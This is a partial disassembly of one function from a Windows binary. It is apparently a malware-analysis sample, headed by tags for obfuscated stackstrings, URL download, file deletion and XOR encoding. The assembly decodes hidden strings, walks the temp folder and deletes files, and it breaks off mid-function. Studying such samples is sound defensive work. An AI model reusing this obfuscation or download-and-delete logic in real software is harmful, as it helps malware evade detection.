Function at 0x406d80
Capabilities:
Contain obfuscated stackstrings
Delete file
Download url
Encode data using xor
Get common file path
Receive data

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x623a9e
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x440
mov eax, dword [0x717f80]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x4c
lea eax, [ebp - 0x338]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x338]
call fcn.004686c0
push 0x44
lea eax, [ebp - 0x2a0]
mov dword [ebp - 4], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x2a0]
call fcn.00467520
mov ecx, 0x7dd960
mov byte [ebp - 4], 1
xorps xmm0, xmm0
mov dword [ebp - 0x368], 0
movups xmmword [ebp - 0x378], xmm0
mov dword [ebp - 0x364], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406e30
sub ecx, edx
push ecx
push 0x7dd960
lea ecx, [ebp - 0x378]
call fcn.00401af0
lea edx, [ebp - 0x378]
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x3dc]
call fcn.00404050
mov ecx, eax
mov byte [ebp - 4], 3
cmp dword [ecx + 0x14], 0xf
jbe 0x406e6d
mov ecx, dword [ecx]
mov dl, 0x71
mov byte [ebp - 0x33e], 0
mov al, 4
mov byte [ebp - 0x340], dl
xor al, dl
mov byte [ebp - 0x33e], 0
mov byte [ebp - 0x33f], al
lea eax, [ebp - 0x33f]
push ecx
push eax
lea ecx, [ebp - 0x2a0]
call fcn.00467790
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x3c8]
cmp ecx, 0xf
jbe 0x406eda
mov edx, dword [ebp - 0x3dc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x406ed0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406f25
push ecx
push edx
call fcn.00622081
add esp, 8
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x364]
mov dword [ebp - 0x3cc], 0
mov dword [ebp - 0x3c8], 0xf
mov byte [ebp - 0x3dc], 0
cmp ecx, 0xf
jbe 0x406f35
mov edx, dword [ebp - 0x378]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x406f2b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x406f2b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00622081
add esp, 8
mov ecx, 0x7dd9e8
mov dword [ebp - 0x368], 0
xorps xmm0, xmm0
mov dword [ebp - 0x364], 0
movups xmmword [ebp - 0x378], xmm0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406f60
sub ecx, edx
push ecx
push 0x7dd9e8
lea ecx, [ebp - 0x378]
call fcn.00401af0
lea edx, [ebp - 0x378]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x3dc]
call fcn.00404050
mov ecx, eax
mov byte [ebp - 4], 5
cmp dword [ecx + 0x14], 0xf
jbe 0x406f9d
mov ecx, dword [ecx]
mov dl, 0x21
mov byte [ebp - 0x33e], 0
mov al, 0x51
mov byte [ebp - 0x340], dl
xor al, dl
mov byte [ebp - 0x33e], 0
mov byte [ebp - 0x33f], al
lea eax, [ebp - 0x33f]
push ecx
push eax
lea ecx, [ebp - 0x2a0]
call fcn.00467790
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x3c8]
cmp ecx, 0xf
jbe 0x40700a
mov edx, dword [ebp - 0x3dc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x407000
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407055
push ecx
push edx
call fcn.00622081
add esp, 8
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x364]
mov dword [ebp - 0x3cc], 0
mov dword [ebp - 0x3c8], 0xf
mov byte [ebp - 0x3dc], 0
cmp ecx, 0xf
jbe 0x407065
mov edx, dword [ebp - 0x378]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40705b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40705b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00622081
add esp, 8
sub esp, 0x18
mov ecx, 0x7dd778
mov edx, esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407086
sub ecx, esi
push ecx
push 0x7dd778
mov ecx, edx
call fcn.00401af0
lea ecx, [ebp - 0x378]
call fcn.00402600
add esp, 0x18
mov ecx, eax
mov byte [ebp - 4], 6
cmp dword [ecx + 0x14], 0xf
jbe 0x4070b8
mov ecx, dword [ecx]
mov dl, 0x64
mov byte [ebp - 0x33e], 0
mov al, 0xc
mov byte [ebp - 0x340], dl
xor al, dl
mov byte [ebp - 0x33e], 0
mov byte [ebp - 0x33f], al
lea eax, [ebp - 0x33f]
push ecx
push eax
lea ecx, [ebp - 0x2a0]
call fcn.00467790
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x364]
cmp ecx, 0xf
jbe 0x40712b
mov edx, dword [ebp - 0x378]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x407121
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x407121
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00622081
add esp, 8
movaps xmm0, xmmword [0x6e6860]
xor ecx, ecx
movups xmmword [ebp - 0x450], xmm0
mov word [ebp - 0x420], 0x3e
movaps xmm0, xmmword [str.___:7__:a]
movups xmmword [ebp - 0x440], xmm0
movaps xmm0, xmmword [0x6e6850]
movups xmmword [ebp - 0x430], xmm0
mov al, byte [ebp - 0x450]
xor byte [ebp + ecx - 0x44f], al
inc ecx
cmp ecx, 0x30
jb 0x407160
lea eax, [ebp - 0x2a0]
mov byte [ebp - 0x41f], 0
push eax
lea eax, [ebp - 0x44f]
push eax
lea ecx, [ebp - 0x338]
call fcn.00468810
lea ecx, [ebp - 0x338]
mov esi, eax
call fcn.00468300
cmp al, 1
jne 0x408530
mov ecx, esi
call fcn.00467ae0
mov edx, eax
mov dword [ebp - 0x368], 0
mov ecx, edx
mov dword [ebp - 0x364], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x378], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4071d4
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x378]
call fcn.00401af0
lea edx, [ebp - 0x378]
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x258]
call fcn.00404f70
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x364]
cmp ecx, 0xf
jbe 0x40723f
mov edx, dword [ebp - 0x378]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x407235
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x407235
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00622081
add esp, 8
push 0x44
lea eax, [ebp - 0x2e8]
mov dword [ebp - 0x368], 0
push 0
push eax
mov dword [ebp - 0x364], 0xf
mov byte [ebp - 0x378], 0
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x2e8]
call fcn.00467c80
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x258]
cmp dword [ebp - 0x244], 0xf
lea ecx, [ebp - 0x2e8]
cmova eax, dword [ebp - 0x258]
push eax
call fcn.00467ee0
cmp al, 1
jne 0x4084ce
mov cl, 0x27
mov byte [ebp - 0x388], 0x4b
mov dl, cl
mov byte [ebp - 0x339], cl
xor cl, byte [ebp - 0x388]
mov al, 0xa
xor al, byte [ebp - 0x388]
mov ah, 0x1f
mov byte [ebp - 0x387], al
mov ch, 0x2a
mov al, byte [ebp - 0x339]
mov dh, 0x29
mov byte [ebp - 0x386], cl
mov cl, byte [ebp - 0x388]
xor al, cl
mov byte [ebp - 0x33a], 0x2e
mov byte [ebp - 0x381], al
xor ah, cl
mov al, byte [ebp - 0x33a]
xor ch, cl
xor al, cl
mov byte [ebp - 0x384], ah
mov byte [ebp - 0x380], al
xor dl, cl
xor dh, cl
mov byte [ebp - 0x383], ch
lea eax, [ebp - 0x387]
mov byte [ebp - 0x37f], 0
push eax
lea ecx, [ebp - 0x2e8]
mov byte [ebp - 0x385], dl
mov byte [ebp - 0x382], dh
mov byte [ebp - 0x37f], 0
call fcn.00467dc0
mov esi, eax
lea ecx, [ebp - 0x2e8]
mov dword [ebp - 0x41c], esi
call fcn.00468300
test al, al
je 0x4084ce
mov ecx, esi
call fcn.004686b0
cmp byte [0x718028], 0
mov dword [ebp - 0x418], eax
mov dword [0x7dd88c], eax
je 0x407865
xor ecx, ecx
mov esi, 4
mul esi
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00622712
mov dword [0x7dd87c], eax
xor ecx, ecx
mov eax, dword [0x7dd88c]
add esp, 4
mul esi
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00622712
mov edi, dword [0x7dd88c]
xor ecx, ecx
mov dword [0x7dd8ac], eax
add esp, 4
mov eax, edi
mov edx, 0x18
mul edx
seto cl
neg ecx
or ecx, eax
xor eax, eax
add ecx, esi
setb al
neg eax
or eax, ecx
push eax
call fcn.00622712
add esp, 4
lea esi, [eax + 4]
mov dword [eax], edi
push fcn.00401a00
push 0x401a90
push edi
push 0x18
push esi
call fcn.0062271b
mov eax, dword [0x7dd88c]
xor ecx, ecx
mov dword [0x7dd8b8], esi
mov esi, 4
mul esi
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00622712
mov dword [0x7dd8d4], eax
xor ecx, ecx
mov eax, dword [0x7dd88c]
add esp, 4
mul esi
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00622712
mov dword [0x7dd8b4], eax
xor ecx, ecx
mov eax, dword [0x7dd88c]
add esp, 4
mul esi
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00622712
mov dword [0x7dd8c0], eax
xor ecx, ecx
mov eax, dword [0x7dd88c]
add esp, 4
mul esi
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00622712
mov dword [0x7dd8a8], eax
xor ecx, ecx
mov eax, dword [0x7dd88c]
add esp, 4
mul esi
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00622712
add esp, 4
mov dword [0x7dd8c4], eax
push dword [0x7dd88c]
call fcn.00622712
mov edi, dword [0x7dd88c]
xor ecx, ecx
mov dword [0x7dd898], eax
add esp, 4
mov eax, edi
mov edx, 0x18
mul edx
seto cl
neg ecx
or ecx, eax
xor eax, eax
add ecx, esi
setb al
neg eax
or eax, ecx
push eax
call fcn.00622712
add esp, 4
lea esi, [eax + 4]
mov dword [eax], edi
push fcn.00401a00
push 0x401a90
push edi
push 0x18
push esi
call fcn.0062271b
mov edi, dword [0x7dd88c]
xor ecx, ecx
mov eax, edi
mov dword [0x7dd8d0], esi
mov edx, 0x18
mul edx
seto cl
neg ecx
or ecx, eax
xor eax, eax
add ecx, 4
setb al
neg eax
or eax, ecx
push eax
call fcn.00622712
add esp, 4
lea esi, [eax + 4]
mov dword [eax], edi
push fcn.00401a00
push 0x401a90
push edi
push 0x18
push esi
call fcn.0062271b
mov edi, dword [0x7dd88c]
xor ecx, ecx
mov eax, edi
mov dword [0x7dd8dc], esi
mov edx, 0x18
mul edx
seto cl
neg ecx
or ecx, eax
xor eax, eax
add ecx, 4
setb al
neg eax
or eax, ecx
push eax
call fcn.00622712
add esp, 4
lea esi, [eax + 4]
mov dword [eax], edi
push fcn.00401a00
push 0x401a90
push edi
push 0x18
push esi
call fcn.0062271b
mov edi, dword [0x7dd88c]
xor ecx, ecx
mov eax, edi
mov dword [0x7dd888], esi
mov edx, 0x18
mul edx
seto cl
neg ecx
or ecx, eax
xor eax, eax
add ecx, 4
setb al
neg eax
or eax, ecx
push eax
call fcn.00622712
add esp, 4
lea esi, [eax + 4]
mov dword [eax], edi
push fcn.00401a00
push 0x401a90
push edi
push 0x18
push esi
call fcn.0062271b
mov edi, dword [0x7dd88c]
xor ecx, ecx
mov eax, edi
mov dword [0x7dd8a0], esi
mov edx, 0x18
mul edx
seto cl
neg ecx
or ecx, eax
xor eax, eax
add ecx, 4
setb al
neg eax
or eax, ecx
push eax
call fcn.00622712
add esp, 4
lea esi, [eax + 4]
mov dword [eax], edi
push fcn.00401a00
push 0x401a90
push edi
push 0x18
push esi
call fcn.0062271b
mov edi, dword [0x7dd88c]
xor ecx, ecx
mov eax, edi
mov dword [0x7dd894], esi
mov edx, 0x18
mul edx
seto cl
neg ecx
or ecx, eax
xor eax, eax
add ecx, 4
setb al
neg eax
or eax, ecx
push eax
call fcn.00622712
add esp, 4
mov dword [eax], edi
lea esi, [eax + 4]
push fcn.00401a00
push 0x401a90
push edi
push 0x18
push esi
call fcn.0062271b
mov edi, dword [0x7dd88c]
xor ecx, ecx
mov eax, edi
mov dword [0x7dd8bc], esi
mov edx, 0x18
mul edx
seto cl
neg ecx
or ecx, eax
xor eax, eax
add ecx, 4
setb al
neg eax
or eax, ecx
push eax
call fcn.00622712
add esp, 4
lea esi, [eax + 4]
mov dword [eax], edi
push fcn.00401a00
push 0x401a90
push edi
push 0x18
push esi
call fcn.0062271b
mov edi, dword [0x7dd88c]
xor ecx, ecx
mov eax, edi
mov dword [0x7dd880], esi
mov edx, 0x18
mul edx
seto cl
neg ecx
or ecx, eax
xor eax, eax
add ecx, 4
setb al
neg eax
or eax, ecx
push eax
call fcn.00622712
add esp, 4
lea esi, [eax + 4]
mov dword [eax], edi
push fcn.00401a00
push 0x401a90
push edi
push 0x18
push esi
call fcn.0062271b
xor ecx, ecx
mov dword [0x7dd8d8], esi
mov esi, dword [0x7dd88c]
mov edx, 0x18
mov eax, esi
mul edx
seto cl
neg ecx
or ecx, eax
xor eax, eax
add ecx, 4
setb al
neg eax
or eax, ecx
push eax
call fcn.00622712
add esp, 4
lea edi, [eax + 4]
mov dword [eax], esi
push fcn.00401a00
push 0x401a90
push esi
push 0x18
mov dword [ebp - 0x344], edi
push edi
call fcn.0062271b
mov dword [0x7dd8a4], edi
mov edi, dword [0x7dd88c]
lea esi, [edi*4]
push esi
push 0
push dword [0x7dd87c]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push esi
push 0
push dword [0x7dd8ac]
call sub.VCRUNTIME140.dll_memset
mov eax, dword [0x7dd8b8]
add esp, 0xc
push esi
push 0
push dword [0x7dd8d4]
mov dword [eax], 0
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push esi
push 0
push dword [0x7dd8b4]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push esi
push 0
push dword [0x7dd8c0]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push esi
push 0
push dword [0x7dd8a8]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push esi
push 0
push dword [0x7dd8c4]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push edi
push 0
push dword [0x7dd898]
call sub.VCRUNTIME140.dll_memset
mov eax, dword [0x7dd8d0]
add esp, 0xc
mov esi, dword [ebp - 0x41c]
mov byte [0x718028], 0
mov dword [eax], 0
mov eax, dword [0x7dd8dc]
mov dword [eax], 0
mov eax, dword [0x7dd888]
mov dword [eax], 0
mov eax, dword [0x7dd8bc]
mov dword [eax], 0
mov eax, dword [0x7dd8a0]
mov dword [eax], 0
mov eax, dword [0x7dd894]
mov dword [eax], 0
mov eax, dword [0x7dd880]
mov dword [eax], 0
mov eax, dword [0x7dd8d8]
mov dword [eax], 0
mov eax, dword [ebp - 0x344]
mov dword [eax], 0
xorps xmm0, xmm0
mov dword [ebp - 0x230], 0
movups xmmword [ebp - 0x240], xmm0
mov dword [ebp - 0x22c], 0xf
mov byte [ebp - 0x240], 0
lea eax, [ebp - 0x228]
mov byte [ebp - 4], 0xb
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x4078cc
lea ecx, [ebp - 0x228]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4078b0
sub ecx, edx
lea eax, [ebp - 0x228]
push ecx
push eax
lea ecx, [ebp - 0x240]
call fcn.004186d0
cmp byte [0x7d8110], 0
je 0x407be8
xor edi, edi
mov dword [ebp - 0x37c], edi
cmp dword [ebp - 0x418], edi
jle 0x407be1
mov dword [ebp - 0x340], edi
push edi
mov ecx, esi
call fcn.00468580
mov esi, eax
mov byte [ebp - 0x354], 0x46
mov cl, 0xa
mov byte [ebp - 0x33a], 0x34
xor cl, byte [ebp - 0x354]
mov al, 0x19
mov byte [ebp - 0x353], cl
mov ah, 0x33
mov cl, byte [ebp - 0x354]
mov dl, 0x29
xor al, cl
mov byte [ebp - 0x339], 0x2a
mov byte [ebp - 0x34f], al
xor ah, cl
mov al, byte [ebp - 0x33a]
mov ch, 0x21
xor al, cl
mov byte [ebp - 0x34e], ah
mov byte [ebp - 0x34d], al
mov dh, dl
mov al, byte [ebp - 0x339]
xor ch, cl
xor al, cl
mov byte [ebp - 0x351], ch
mov byte [ebp - 0x34c], al
xor dl, cl
xor dh, cl
mov byte [ebp - 0x34b], 0
lea eax, [ebp - 0x353]
mov byte [ebp - 0x352], dl
push eax
mov ecx, esi
mov byte [ebp - 0x350], dh
mov byte [ebp - 0x34b], 0
call fcn.00468070
mov edx, eax
lea esi, [edx + 1]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x407995
mov ecx, dword [0x7dd8dc]
sub edx, esi
mov esi, dword [ebp - 0x340]
push edx
push eax
lea ecx, [esi + ecx]
call fcn.004186d0
mov edx, dword [0x7dd8dc]
add edx, esi
cmp dword [edx + 0x14], 0xf
jbe 0x4079c4
mov edx, dword [edx]
lea ecx, [ebp - 0x378]
call fcn.004067e0
mov edi, eax
cmp dword [edi + 0x14], 0xf
jbe 0x4079d9
mov edi, dword [edi]
cmp dword [ebp - 0x22c], 0xf
lea esi, [ebp - 0x240]
mov al, 0x21
mov byte [ebp - 0x360], 4
cmova esi, dword [ebp - 0x240]
mov dl, al
mov byte [ebp - 0x339], al
mov cl, 0x77
xor al, byte [ebp - 0x360]
mov ah, 0x34
mov byte [ebp - 0x35f], al
mov ch, 0x37
mov byte [ebp - 0x345], cl
mov dh, 0x60
xor cl, byte [ebp - 0x360]
mov byte [ebp - 0x35e], cl
mov cl, byte [ebp - 0x360]
mov byte [ebp - 0x33a], 0x2a
xor ah, cl
mov al, byte [ebp - 0x33a]
xor dl, cl
xor al, cl
mov byte [ebp - 0x35c], ah
mov byte [ebp - 0x359], al
xor ch, cl
mov al, byte [ebp - 0x339]
xor dh, cl
xor al, cl
mov byte [ebp - 0x356], 0
mov byte [ebp - 0x358], al
mov al, byte [ebp - 0x345]
push edi
mov edi, dword [ebp - 0x37c]
xor al, cl
push edi
mov byte [ebp - 0x357], al
lea eax, [ebp - 0x35f]
push esi
push eax
lea eax, [ebp - 0x120]
mov byte [ebp - 0x35d], dl
push eax
mov byte [ebp - 0x35b], ch
mov byte [ebp - 0x35a], dh
mov byte [ebp - 0x356], 0
call fcn.00401d70
mov ecx, dword [ebp - 0x364]
add esp, 0x14
cmp ecx, 0xf
jbe 0x407ae2
mov edx, dword [ebp - 0x378]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x407ad8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406f25
push ecx
push edx
call fcn.00622081
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x368], 0
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x364], 0
movups xmmword [ebp - 0x378], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407b10
sub ecx, edx
lea eax, [ebp - 0x120]
push ecx
push eax
lea ecx, [ebp - 0x378]
call fcn.00401af0
cmp dword [ebp - 0x364], 0xf
lea eax, [ebp - 0x378]
push 0x6dce08
cmova eax, dword [ebp - 0x378]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x407b66
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov byte [ebp - 0x339], 1
jmp 0x407b6d
mov byte [ebp - 0x339], 0
mov ecx, dword [ebp - 0x364]
cmp ecx, 0xf
jbe 0x407ba7
mov edx, dword [ebp - 0x378]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x407b9d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406f25
push ecx
push edx
call fcn.00622081
add esp, 8
cmp byte [ebp - 0x339], 0
je 0x407bc0
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 4
add dword [ebp - 0x340], 0x18
inc edi
mov dword [ebp - 0x37c], edi
cmp edi, dword [ebp - 0x418]
jge 0x407be1
mov esi, dword [ebp - 0x41c]
jmp 0x4078f3
mov byte [0x7d8110], 0
xor eax, eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x418], eax
jle 0x40846d
xor esi, esi
mov dword [ebp - 0x37c], esi
mov ecx, dword [ebp - 0x41c]
push eax
call fcn.00468580
mov edi, eax
mov dword [ebp - 0x3b4], 0x170a2878
mov dl, 0x78
mov dword [ebp - 0x3b0], 0x15190a1f
mov dword [ebp - 0x3ac], 0x1d151936
xor eax, eax
mov byte [ebp - 0x3a8], 0
nop dword [eax + eax]
lea ecx, [ebp - 0x3b3]
xor byte [ecx + eax], dl
inc eax
cmp eax, 0xb
jae 0x407c57
mov dl, byte [ebp - 0x3b4]
jmp 0x407c40
lea eax, [ebp - 0x3b3]
mov byte [ebp - 0x3a8], 0
push eax
mov ecx, edi
call fcn.00468070
mov edx, eax
lea ecx, [edx + 1]
mov dword [ebp - 0x344], ecx
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x407c77
mov ecx, dword [0x7dd8b8]
sub edx, dword [ebp - 0x344]
push edx
push eax
lea ecx, [esi + ecx]
call fcn.004186d0
mov byte [ebp - 0x360], 0x57
mov al, 4
xor al, byte [ebp - 0x360]
mov cl, 0x23
mov ah, cl
mov byte [ebp - 0x35f], al
mov al, byte [ebp - 0x360]
mov dl, 0x36
xor ah, al
mov byte [ebp - 0x359], 0
mov ch, 0x22
mov byte [ebp - 0x35c], ah
mov dh, 0x24
mov byte [ebp - 0x359], 0
xor cl, al
xor ch, al
xor dl, al
mov byte [ebp - 0x35e], cl
xor dh, al
mov byte [ebp - 0x35b], ch
lea eax, [ebp - 0x35f]
mov byte [ebp - 0x35d], dl
push eax
mov ecx, edi
mov byte [ebp - 0x35a], dh
call fcn.00468070
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov ecx, dword [0x7dd8d4]
add esp, 4
mov edx, dword [ebp - 0x340]
mov byte [ebp - 0x397], 0
mov byte [ebp - 0x397], 0
mov dword [ecx + edx*4], eax
mov ch, 0x3f
mov al, 0x6b
mov byte [ebp - 0x39c], ch
mov ah, 0x5a
xor al, ch
xor ah, ch
mov byte [ebp - 0x39b], al
mov cl, 0x56
mov byte [ebp - 0x398], ah
xor cl, ch
lea eax, [ebp - 0x39b]
mov dl, 0x52
mov byte [ebp - 0x39a], cl
xor dl, ch
mov ecx, edi
push eax
mov byte [ebp - 0x399], dl
call fcn.00468070
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov ecx, dword [0x7dd8b4]
add esp, 4
mov edx, dword [ebp - 0x340]
mov byte [ebp - 0x354], 0x63
mov byte [ebp - 0x345], 0x11
mov byte [ebp - 0x33a], 0xf
mov dword [ecx + edx*4], eax
mov al, 0x2f
xor al, byte [ebp - 0x354]
mov cl, 0xc
mov ah, cl
mov byte [ebp - 0x34b], 0
xor cl, byte [ebp - 0x354]
mov dl, 4
mov byte [ebp - 0x352], cl
mov ch, 0x3c
mov cl, byte [ebp - 0x354]
mov dh, 0x16
xor dl, cl
mov byte [ebp - 0x353], al
mov byte [ebp - 0x351], dl
mov al, byte [ebp - 0x345]
xor ah, cl
xor al, cl
mov byte [ebp - 0x350], ah
mov byte [ebp - 0x34d], al
xor ch, cl
mov al, byte [ebp - 0x33a]
xor dh, cl
xor al, cl
mov byte [ebp - 0x34f], ch
mov byte [ebp - 0x34c], al
mov ecx, edi
lea eax, [ebp - 0x353]
mov byte [ebp - 0x34e], dh
push eax
mov byte [ebp - 0x34b], 0
call fcn.00468070
mov edx, eax
lea ecx, [edx + 1]
mov dword [ebp - 0x344], ecx
nop dword [eax]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x407e20
mov ecx, dword [0x7dd8dc]
sub edx, dword [ebp - 0x344]
push edx
push eax
lea ecx, [esi + ecx]
call fcn.004186d0
mov dh, 0x1f
mov byte [ebp - 0x3de], 0
mov al, 0x4f
mov byte [ebp - 0x3e4], dh
mov ah, 0x7c
mov byte [ebp - 0x3de], 0
xor al, dh
xor ah, dh
mov cl, 0x6d
mov byte [ebp - 0x3e3], al
mov ch, 0x7a
mov byte [ebp - 0x3e0], ah
xor cl, dh
lea eax, [ebp - 0x3e3]
xor ch, dh
mov byte [ebp - 0x3e2], cl
mov dl, 0x76
mov byte [ebp - 0x3df], ch
xor dl, dh
mov ecx, edi
push eax
mov byte [ebp - 0x3e1], dl
call fcn.00468070
mov edx, eax
lea ecx, [edx + 1]
mov dword [ebp - 0x344], ecx
nop
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x407ea0
mov ecx, dword [0x7dd888]
sub edx, dword [ebp - 0x344]
push edx
push eax
lea ecx, [esi + ecx]
call fcn.004186d0
mov dl, 0x29
mov dword [ebp - 0x3f4], 0x465b7929
mov dword [ebp - 0x3f0], 0x44485b4e
xor ecx, ecx
mov dword [ebp - 0x3ec], 0x454b487d
mov word [ebp - 0x3e8], 0x4c
nop dword [eax + eax]
lea eax, [ebp - 0x3f3]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xc
jae 0x407f07
mov dl, byte [ebp - 0x3f4]
jmp 0x407ef0
lea eax, [ebp - 0x3f3]
mov byte [ebp - 0x3e7], 0
push eax
mov ecx, edi
call fcn.00468070
mov edx, eax
lea ecx, [edx + 1]
mov dword [ebp - 0x344], ecx
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x407f27
mov ecx, dword [0x7dd8a0]
sub edx, dword [ebp - 0x344]
push edx
push eax
lea ecx, [esi + ecx]
call fcn.004186d0
mov dl, 0x5e
mov dword [ebp - 0x3c4], 0x3430175e
mov dword [ebp - 0x3c0], 0x12a3d3b
xor ecx, ecx
mov dword [ebp - 0x3bc], 0x3b2e272a
mov byte [ebp - 0x3b8], 0
nop dword [eax]
lea eax, [ebp - 0x3c3]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xb
jae 0x407f87
mov dl, byte [ebp - 0x3c4]
jmp 0x407f70
lea eax, [ebp - 0x3c3]
mov byte [ebp - 0x3b8], 0
push eax
mov ecx, edi
call fcn.00468070
mov edx, eax
lea ecx, [edx + 1]
mov dword [ebp - 0x344], ecx
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x407fa7
mov ecx, dword [0x7dd894]
sub edx, dword [ebp - 0x344]
push edx
push eax
lea ecx, [esi + ecx]
call fcn.004186d0
mov dl, 0x69
mov dword [ebp - 0x404], 0x61b3969
mov dword [ebp - 0x400], 0x4081b0e
xor ecx, ecx
mov dword [ebp - 0x3fc], 0x19101d36
mov word [ebp - 0x3f8], 0xc
nop
lea eax, [ebp - 0x403]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xc
jae 0x408007
mov dl, byte [ebp - 0x404]
jmp 0x407ff0
lea eax, [ebp - 0x403]
mov byte [ebp - 0x3f7], 0
push eax
mov ecx, edi
call fcn.00468070
mov edx, eax
lea ecx, [edx + 1]
mov dword [ebp - 0x344], ecx
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x408027
mov ecx, dword [0x7dd880]
sub edx, dword [ebp - 0x344]
push edx
push eax
lea ecx, [esi + ecx]
call fcn.004186d0
mov dl, 0x46
mov dword [ebp - 0x414], 0x33272a46
mov dword [ebp - 0x410], 0x232e2528
xor ecx, ecx
mov dword [ebp - 0x40c], 0x27281934
mov word [ebp - 0x408], 0x232b
mov byte [ebp - 0x406], 0
lea eax, [ebp - 0x413]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xd
jae 0x40808d
mov dl, byte [ebp - 0x414]
jmp 0x408076
lea eax, [ebp - 0x413]
mov byte [ebp - 0x406], 0
push eax
